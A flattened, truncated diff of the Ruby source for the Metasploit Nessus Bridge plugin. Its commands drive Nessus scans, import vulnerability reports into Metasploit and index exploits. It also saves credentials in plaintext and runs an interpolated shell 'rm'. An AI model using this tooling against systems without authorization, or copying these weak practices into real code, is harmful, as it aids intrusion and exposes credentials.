cmd_nessus_report_hosts(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_hosts <report id>") - print_status(" Example:> nessus_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the hosts associated with a scan and details about their vulnerabilities") - print_status("use nessus_report_list to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_hosts <report id>") - print_status(" use nessus_report_list to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Hostname', - 'Severity', - 'Sev 0', - 'Sev 1', - 'Sev 2', - 'Sev 3', - 'Current Progress', - 'Total Progress' - ]) - hosts=@n.report_hosts(rid) - hosts.each {|host| - tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ] - } - print_good("Report Info") - print_good "\n" - print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") - end - - def cmd_nessus_report_vulns(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_vulns <report id>") - print_status(" Example:> nessus_report_vulns f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a scan and details about hosts and their vulnerabilities") - print_status("use nessus_report_list to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_vulns <report id>") - print_status(" use nessus_report_vulns to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Hostname', - 'Port', - 'Proto', - 'Sev', - 'PluginID', - 'Plugin Name' - ]) - print_status("Grabbing all vulns for report #{rid}") - hosts=@n.report_hosts(rid) - hosts.each do |host| - ports=@n.report_host_ports(rid, host['hostname']) - ports.each do |port| - details=@n.report_host_port_details(rid, host['hostname'], port['portnum'], port['protocol']) - details.each do |detail| - tbl << [host['hostname'], - port['portnum'], - port['protocol'], - detail['severity'], - detail['pluginID'], - detail['pluginName'] - ] - end - end - end - print_good("Report Info") - print_line - print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") - end - - def cmd_nessus_report_host_ports(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_ports <hostname> <report id>") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the ports associated with a host and details about their vulnerabilities") - print_status("use nessus_report_hosts to list all available hosts for a report") - end - - if ! nessus_verify_token - return - end - - case args.length - when 2 - host = args[0] - rid = args[1] - else - print_status("Usage: ") - print_status(" nessus_report_host_ports <hostname> <report id>") - print_status(" use nessus_report_list to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Port', - 'Protocol', - 'Severity', - 'Service Name', - 'Sev 0', - 'Sev 1', - 'Sev 2', - 'Sev 3' - ]) - ports=@n.report_host_ports(rid, host) - ports.each {|port| - tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] - } - print_good("Host Info") - print_good "\n" - print_line tbl.to_s - print_status("You can:") - print_status(" Get detailed scan infromation about a specfic port: nessus_report_host_detail <hostname> <port> <protocol> <report id>") - end - - def cmd_nessus_report_host_detail(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a port for a specific host") - print_status("use nessus_report_host_ports to list all available ports for a host") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 4 - host = args[0] - port = args[1] - prot = args[2] - rid = args[3] - else - print_status("Usage: ") - print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") - print_status(" use nessus_report_host_ports to list all available ports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Port', - 'Severity', - 'PluginID', - 'Plugin Name', - 'CVSS2', - 'Exploit?', - 'CVE', - 'Risk Factor', - 'CVSS Vector' - ]) - details=@n.report_host_port_details(rid, host, port, prot) - details.each {|detail| - tbl << [ - detail['port'], - detail['severity'], - detail['pluginID'], - detail['pluginName'], - detail['cvss_base_score'] || 'none', - detail['exploit_available'] || '.', - detail['cve'] || '.', - detail['risk_factor'] || '.', - detail['cvss_vector'] || '.' - ] - } - print_good("Port Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_scan_pause_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause_all") - print_status(" Example:> nessus_scan_pause_all") - print_status() - print_status("Pauses all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_pause_all - - print_status("All scans have been paused") - end - - def cmd_nessus_scan_stop(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop <scan id>") - print_status(" Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Stops a currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_stop <scan id>") - print_status(" use nessus_scan_status to list all available scans") - return - end - - pause = @n.scan_stop(sid) - - print_status("#{sid} has been stopped") - end - - def cmd_nessus_scan_stop_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop_all") - print_status(" Example:> nessus_scan_stop_all") - print_status() - print_status("stops all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_stop_all - - print_status("All scans have been stopped") - end - - def cmd_nessus_scan_resume_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume_all") - print_status(" Example:> nessus_scan_resume_all") - print_status() - print_status("resumes all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_resume_all - - print_status("All scans have been resumed") - end - - def cmd_nessus_user_add(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_add <username> <password>") - print_status(" Example:> nessus_user_add msf msf") - print_status() - print_status("Only adds non admin users. Must be an admin to add users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_add <username> <password>") - print_status(" Only adds non admin users") - return - end - - u = @n.users_list - u.each { |stuff| - if stuff['name'] == user - print_error("That user exists") - return - end - } - add = @n.user_add(user,pass) - status = add.root.elements['status'].text if add - if status == "OK" - print_good("#{user} has been added") - else - print_error("#{user} was not added") - end - end - - def cmd_nessus_user_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_del <username>") - print_status(" Example:> nessus_user_del msf") - print_status() - print_status("Only dels non admin users. Must be an admin to del users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - user = args[0] - else - print_status("Usage: ") - print_status(" nessus_user_del <username>") - print_status(" Only dels non admin users") - return - end - - del = @n.user_del(user) - status = del.root.elements['status'].text - if status == "OK" - print_good("#{user} has been deleted") - else - print_error("#{user} was not deleted") - end - end - - def cmd_nessus_user_passwd(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_passwd <username> <password>") - print_status(" Example:> nessus_user_passwd msf newpassword") - print_status() - print_status("Changes the password of a user. Must be an admin to change passwords.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_passwd <username> <password>") - print_status(" User list from nessus_user_list") - return - end - - pass = @n.user_pass(user,pass) - status = pass.root.elements['status'].text - if status == "OK" - print_good("#{user}'s password has been changed") - else - print_error("#{user}'s password has not been changed") - end - end - - def cmd_nessus_admin(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_admin") - print_status(" Example:> nessus_admin") - print_status() - print_status("Checks to see if the current user is an admin") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - else - print_good("Your Nessus user is an admin") - end - end - - def cmd_nessus_plugin_family(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_family <plugin family name>") - print_status(" Example:> nessus_plugin_family \"Windows : Microsoft Bulletins\" ") - print_status() - print_status("Returns a list of all plugins in that family.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - fam = args[0] - else - print_status("Usage: ") - print_status(" nessus_plugin_family <plugin family name>") - print_status(" list all plugins from a Family from nessus_plugin_list") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Plugin ID', - 'Plugin Name', - 'Plugin File Name' - ]) - - family = @n.plugin_family(fam) - - family.each {|plugin| - tbl << [ plugin['id'], plugin['name'], plugin['filename'] ] - } - print_good("#{fam} Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_list") - print_status(" Example:> nessus_policy_list") - print_status() - print_status("Lists all policies on the server") - return - end - - if ! nessus_verify_token - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Comments' - ]) - list=@n.policy_list_hash - list.each {|policy| - tbl << [ policy['id'], policy['name'], policy['comments'] ] - } - print_good("Nessus Policy List") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_del <policy ID>") - print_status(" Example:> nessus_policy_del 1") - print_status() - print_status("Must be an admin to del policies.") - print_status("use nessus_policy_list to list all policies") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - pid = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del <policy ID>") - print_status(" nessus_policy_list to find the id.") - return - end - - - del = @n.policy_del(pid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Policy number #{pid} has been deleted") - else - print_error("Policy number #{pid} was not deleted") - end - - end - - def cmd_nessus_plugin_details(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_details <plugin file name>") - print_status(" Example:> nessus_plugin_details ping_host.nasl ") - print_status() - print_status("Returns details on a particular plugin.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - pname = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del <plugin file name>") - print_status(" nessus_plugin_list and then nessus_plugin_family to find the plugin file name.") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - '', - '' - ]) - - entry = @n.plugin_detail(pname) - print_good("Plugin Details for #{entry['name']}") - tbl << [ "Plugin ID", entry['id'] ] - tbl << [ "Plugin Family", entry['family'] ] - tbl << [ "CVSS Base Score", entry['cvss_base_score'] ] - tbl << [ "CVSS Vector", entry['cvss_vector'] ] - tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ] - tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ] - tbl << [ "Risk Factor", entry['risk_factor'] ] - tbl << [ "Exploit Available", entry['exploit_available'] ] - tbl << [ "Exploitability Ease", entry['exploit_ease'] ] - tbl << [ "Synopsis", entry['synopsis'] ] - tbl << [ "Description", entry['description'] ] - tbl << [ "Solution", entry['solution'] ] - tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ] - tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ] - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_report_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_del <reportname>") - print_status(" Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Must be an admin to del reports.") - print_status("use nessus_report_list to list all reports") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_del <report ID>") - print_status(" nessus_report_list to find the id.") - return - end - - - del = @n.report_del(rid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Report #{rid} has been deleted") - else - print_error("Report #{rid} was not deleted") - end - end - - def cmd_nessus_server_prefs(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_prefs") - print_status(" Example:> nessus_server_prefs") - print_status() - print_status("Returns a long list of server prefs.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Value' - ]) - prefs = @n.server_prefs - prefs.each {|pref| - tbl << [ pref['name'], pref['value'] ] - } - print_good("Nessus Server Pref List") - print_good "\n" - print_line tbl.to_s + "\n" - - end - - def cmd_nessus_plugin_prefs(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_prefs") - print_status(" Example:> nessus_plugin_prefs") - print_status() - print_status("Returns a long list of plugin prefs.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Value', - 'Type' - ]) - prefs = @n.plugin_prefs - prefs.each {|pref| - tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ] - } - print_good("Nessus Plugins Pref List") - print_good "\n" - print_line tbl.to_s - end - end - - def initialize(framework, opts) - super - - add_console_dispatcher(ConsoleCommandDispatcher) - @nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf - @xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits. - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds - print_status("Nessus Bridge for Metasploit #{@nbver}") - print_good("Type %bldnessus_help%clr for a command listing") - #nessus_index - end - - def cleanup - remove_console_dispatcher('Nessus') - end - - def name - "nessus" - end - - def desc - "Nessus Bridge for Metasploit #{@nbver}" - end - protected - end + class Plugin::Nessus < Msf::Plugin + + #creates the index of exploit details to make searching for exploits much faster. + def create_xindex + start = Time.now + print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.") + count = 0 + # use Msf::Config.get_config_root as the location. + File.open("#{@xindex}", "w+") do |f| + #need to add version line. + f.puts(Msf::Framework::RepoRevision) + framework.exploits.sort.each { |refname, mod| + stuff = "" + o = nil + begin + o = mod.new + rescue ::Exception + end + stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" + next if not o + o.references.map do |x| + if !(x.ctx_id == "URL") + if (x.ctx_id == "MSB") + stuff << "|#{x.ctx_val}" + else + stuff << "|#{x.ctx_id}-#{x.ctx_val}" + end + end + end + stuff << "\n" + f.puts(stuff) + } + end + total = Time.now - start + print_status("It has taken : #{total} seconds to build the exploits search index") + end + + def nessus_index + if File.exist?("#{@xindex}") + #check if it's version line matches current version. + File.open("#{@xindex}") {|f| + line = f.readline + line.chomp! + if line.to_i == Msf::Framework::RepoRevision + print_good("Exploit Index - (#{@xindex}) - is valid.") + else + create_xindex + end + } + else + create_xindex + end + end + + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "Nessus" + end + + def commands + { + "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <ssl ok>.", + "nessus_admin" => "Checks if user is an admin.", + "nessus_help" => "Get help on all commands.", + "nessus_logout" => "Terminate the session.", + "nessus_server_status" => "Check the status of your Nessus Server.", + "nessus_server_feed" => "Nessus Feed Type.", + "nessus_server_prefs" => "Display Server Prefs.", + "nessus_report_list" => "List all Nessus reports.", + "nessus_report_get" => "Import a report from the nessus server in Nessus v2 format.", + "nessus_report_del" => "Delete a report.", + "nessus_report_vulns" => "Get list of vulns from a report.", + "nessus_report_hosts" => "Get list of hosts from a report.", + "nessus_report_host_ports" => "Get list of open ports from a host from a report.", + "nessus_report_host_detail" => "Detail from a report item on a host.", + "nessus_scan_status" => "List all currently running Nessus scans.", + "nessus_scan_new" => "Create new Nessus Scan.", + "nessus_scan_pause" => "Pause a Nessus Scan.", + "nessus_scan_pause_all" => "Pause all Nessus Scans.", + "nessus_scan_stop" => "Stop a Nessus Scan.", + "nessus_scan_stop_all" => "Stop all Nessus Scans.", + "nessus_scan_resume" => "Resume a Nessus Scan.", + "nessus_scan_resume_all" => "Resume all Nessus Scans.", + "nessus_user_list" => "Show Nessus Users.", + "nessus_user_add" => "Add a new Nessus User.", + "nessus_user_del" => "Delete a Nessus User.", + "nessus_user_passwd" => "Change Nessus Users Password.", + "nessus_plugin_family" => "List plugins in a family.", + "nessus_plugin_details" => "List details of a particular plugin.", + "nessus_plugin_list" => "Displays each plugin family and the number of plugins.", + "nessus_plugin_prefs" => "Display Plugin Prefs.", + "nessus_policy_list" => "List all polciies.", + "nessus_policy_del" => "Delete a policy.", + "nessus_index" => "Manually generates a search index for exploits.", + "nessus_template_list" => "List all the templates on the server.", + "nessus_db_scan" => "Create a scan of all ips in db_hosts.", + "nessus_save" => "Save username/passowrd/server/port details." + } + end + + def cmd_nessus_index + Msf::Plugin::Nessus.nessus_index + end + + def cmd_nessus_save(*args) + #if we are logged in, save session details to nessus.yaml + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_save") + return + end + + if args[0] + print_status("Usage: ") + print_status(" nessus_save") + return + end + + group = "default" + + if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + config = Hash.new + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + File.open("#{@nessus_yaml}", "w+") do |f| + f.puts YAML.dump(config) + end + print_good("#{@nessus_yaml} created.") + + else + print_error("Missing username/password/server/port - relogin and then try again.") + return + end + end + + def cmd_nessus_db_scan(*args) + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_db_scan <policy id> <scan name>") + print_status(" Example:> nessus_db_scan 1 \"My Scan\"") + print_status() + print_status("Creates a scan based on all the hosts listed in db_hosts.") + print_status("use nessus_policy_list to list all available policies") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 2 + pid = args[0].to_i + name = args[1] + else + print_status("Usage: ") + print_status(" nessus_db_scan <policy id> <scan name>") + print_status(" use nessus_policy_list to list all available policies") + return + end + + if check_policy(pid) + print_error("That policy does not exist.") + return + end + + tgts = "" + framework.db.hosts(framework.db.workspace).each do |host| + tgts << host.address + tgts << "," + end + + tgts.chop! + + print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace") + + scan = @n.scan_new(pid, name, tgts) + + if scan + print_status("Scan started. uid is #{scan}") + end + + end + + def cmd_nessus_logout + @token = nil + print_status("Logged out") + system("rm #{@nessus_yaml}") + print_good("#{@nessus_yaml} removed.") + return + end + + def cmd_nessus_help(*args) + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Command", + "Help Text" + ], + 'SortIndex' => -1 + ) + tbl << [ "Generic Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_connect", "Connect to a nessus server" ] + tbl << [ "nessus_save", "Save nessus login info between sessions" ] + tbl << [ "nessus_logout", "Logout from the nessus server" ] + tbl << [ "nessus_help", "Listing of available nessus commands" ] + tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] + tbl << [ "nessus_admin", "Checks if user is an admin" ] + tbl << [ "nessus_server_feed", "Nessus Feed Type" ] + tbl << [ "nessus_find_targets", "Try to find vulnerable targets from a report" ] + tbl << [ "nessus_server_prefs", "Display Server Prefs" ] + tbl << [ "", ""] + tbl << [ "Reports Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_report_list", "List all Nessus reports" ] + tbl << [ "nessus_report_get", "Import a report from the nessus server in Nessus v2 format" ] + tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] + tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] + tbl << [ "nessus_report_host_ports", "Get list of open ports from a host from a report" ] + tbl << [ "nessus_report_host_detail", "Detail from a report item on a host" ] + tbl << [ "", ""] + tbl << [ "Scan Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_scan_new", "Create new Nessus Scan" ] + tbl << [ "nessus_scan_status", "List all currently running Nessus scans" ] + tbl << [ "nessus_scan_pause", "Pause a Nessus Scan" ] + tbl << [ "nessus_scan_pause_all", "Pause all Nessus Scans" ] + tbl << [ "nessus_scan_stop", "Stop a Nessus Scan" ] + tbl << [ "nessus_scan_stop_all", "Stop all Nessus Scans" ] + tbl << [ "nessus_scan_resume", "Resume a Nessus Scan" ] + tbl << [ "nessus_scan_resume_all", "Resume all Nessus Scans" ] + tbl << [ "", ""] + tbl << [ "Plugin Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_plugin_list", "Displays each plugin family and the number of plugins" ] + tbl << [ "nessus_plugin_family", "List plugins in a family" ] + tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] + tbl << [ "", ""] + tbl << [ "User Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_user_list", "Show Nessus Users" ] + tbl << [ "nessus_user_add", "Add a new Nessus User" ] + tbl << [ "nessus_user_del", "Delete a Nessus User" ] + tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] + tbl << [ "", ""] + tbl << [ "Policy Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_policy_list", "List all polciies" ] + tbl << [ "nessus_policy_del", "Delete a policy" ] + print_status "" + print_line tbl.to_s + print_status "" + end + + def cmd_nessus_server_feed(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_feed") + print_status(" Example:> nessus_server_feed") + print_status() + print_status("Returns information about the feed type and server version.") + return + end + + if nessus_verify_token + @feed, @version, @web_version = @n.feed + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Feed', + 'Nessus Version', + 'Nessus Web Version' + ]) + tbl << [@feed, @version, @web_version] + print_good("Nessus Status") + print_good "\n" + print_line tbl.to_s + end + end + + def nessus_verify_token + if @token.nil? or @token == '' + ncusage + return false + end + true + end + + def nessus_verify_db + + if ! (framework.db and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + true + end + + def ncusage + print_status("%redYou must do this before any other commands.%clr") + print_status("Usage: ") + print_status(" nessus_connect username:password@hostname:port <ssl ok>") + print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect username@hostname:port <ssl ok>") + print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect hostname:port <ssl ok>") + print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect") + print_status(" Example:> nessus_connect") + print_status("This only works after you have saved creds with nessus_save") + return + end + + def cmd_nessus_connect(*args) + # Check if config file exists and load it + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" + if ! args[0] + if File.exist?("#{@nessus_yaml}") + lconfig = YAML.load_file("#{@nessus_yaml}") + @user = lconfig['default']['username'] + @pass = lconfig['default']['password'] + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + nessus_login + return + else + ncusage + return + end + end + + if args[0] == "-h" + print_status("%redYou must do this before any other commands.%clr") + print_status("Usage: ") + print_status(" nessus_connect username:password@hostname:port <ssl ok>") + print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect username@hostname:port <ssl ok>") + print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect hostname:port <ssl ok>") + print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect") + print_status(" Example:> nessus_connect") + print_status("This only works after you have saved creds with nessus_save") + print_status() + print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end") + print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.") + print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.") + print_status("The \"ok\" on the end is important. It is a way of letting you") + print_status("know that nessus used a self signed cert and the risk that presents.") + return + end + + if ! @token == '' + print_error("You are already authenticated. Call nessus_logout before authing again") + return + end + + if(args.length == 0 or args[0].empty?) + ncusage + return + end + + @user = @pass = @host = @port = @sslv = nil + + case args.length + when 1,2 + if args[0].include? "@" + cred,targ = args[0].split('@', 2) + @user,@pass = cred.split(':', 2) + targ ||= '127.0.0.1:8834' + @host,@port = targ.split(':', 2) + @port ||= '8834' + @sslv = args[1] + else + @host,@port = args[0].split(':', 2) + @port ||= '8834' + @sslv = args[1] + end + + when 3,4,5 + ncusage + return + else + ncusage + return + end + + if /\/\//.match(@host) + ncusage + return + end + + if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + if ! @user + print_error("Missing Username") + ncusage + return + end + + if ! @pass + print_error("Missing Password") + ncusage + return + end + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + ncusage + return + end + nessus_login + end + + def nessus_login + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + print_status("You need to connect to a server first.") + ncusage + return + end + + @url = "https://#{@host}:#{@port}/" + print_status("Connecting to #{@url} as #{@user}") + @n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass) + @token=@n.login(@user,@pass) + if @n.logged_in + print_status("Authenticated") + else + print_error("Error connecting/logging to the server!") + return + end + end + + def cmd_nessus_report_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_list") + print_status(" Example:> nessus_report_list") + print_status() + print_status("Generates a list of all reports visable to your user.") + return + end + + if ! nessus_verify_token + return + end + + list=@n.report_list_hash + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'ID', + 'Name', + 'Status', + 'Date' + ]) + + list.each {|report| + t = Time.at(report['timestamp'].to_i) + tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ] + } + print_good("Nessus Report List") + print_good "\n" + print_line tbl.to_s + "\n" + print_status("You can:") + print_status(" Get a list of hosts from the report: nessus_report_hosts <report id>") + end + + def check_scan(*args) + + case args.length + when 1 + rid = args[0] + else + print_error("No Report ID Supplied") + return + end + + scans = @n.scan_list_hash + scans.each {|scan| + if scan['id'] == rid + return true + end + } + return false + end + + def cmd_nessus_report_get(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_get <report id>") + print_status(" Example:> nessus_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("This command pulls the provided report from the nessus server in the nessusv2 format") + print_status("and parses it the same way db_import_nessus does. After it is parsed it will be") + print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.") + print_status("Use: nessus_report_list to obtain a list of report id's") + return + end + + if ! nessus_verify_token + return + end + + if ! nessus_verify_db + return + end + + if(args.length == 0 or args[0].empty? or args[0] == "-h") + print_status("Usage: ") + print_status(" nessus_report_get <report id> ") + print_status(" use nessus_report_list to list all available reports for importing") + return + end + + rid = nil + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_get <report id> ") + print_status(" use nessus_report_list to list all available reports for importing") + return + end + + if check_scan(rid) + print_error("That scan is still running.") + return + end + content = nil + content=@n.report_file_download(rid) + if content.nil? + print_error("Failed, please reauthenticate") + return + end + print_status("importing " + rid) + framework.db.import({:data => content}) do |type,data| + case type + when :address + print_line("%bld%blu[*]%clr %bld#{data}%clr") + end + end + print_good("Done") + end + + def cmd_nessus_scan_status(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_status") + print_status(" Example:> nessus_scan_status") + print_status() + print_status("Returns a list of information about currently running scans.") + return + end + + if ! nessus_verify_token + return + end + + list=@n.scan_list_hash + if list.empty? + print_status("No Scans Running.") + print_status("You can:") + print_status(" List of completed scans: nessus_report_list") + print_status(" Create a scan: nessus_scan_new <policy id> <scan name> <target(s)>") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Scan ID', + 'Name', + 'Owner', + 'Started', + 'Status', + 'Current Hosts', + 'Total Hosts' + ]) + + list.each {|scan| + t = 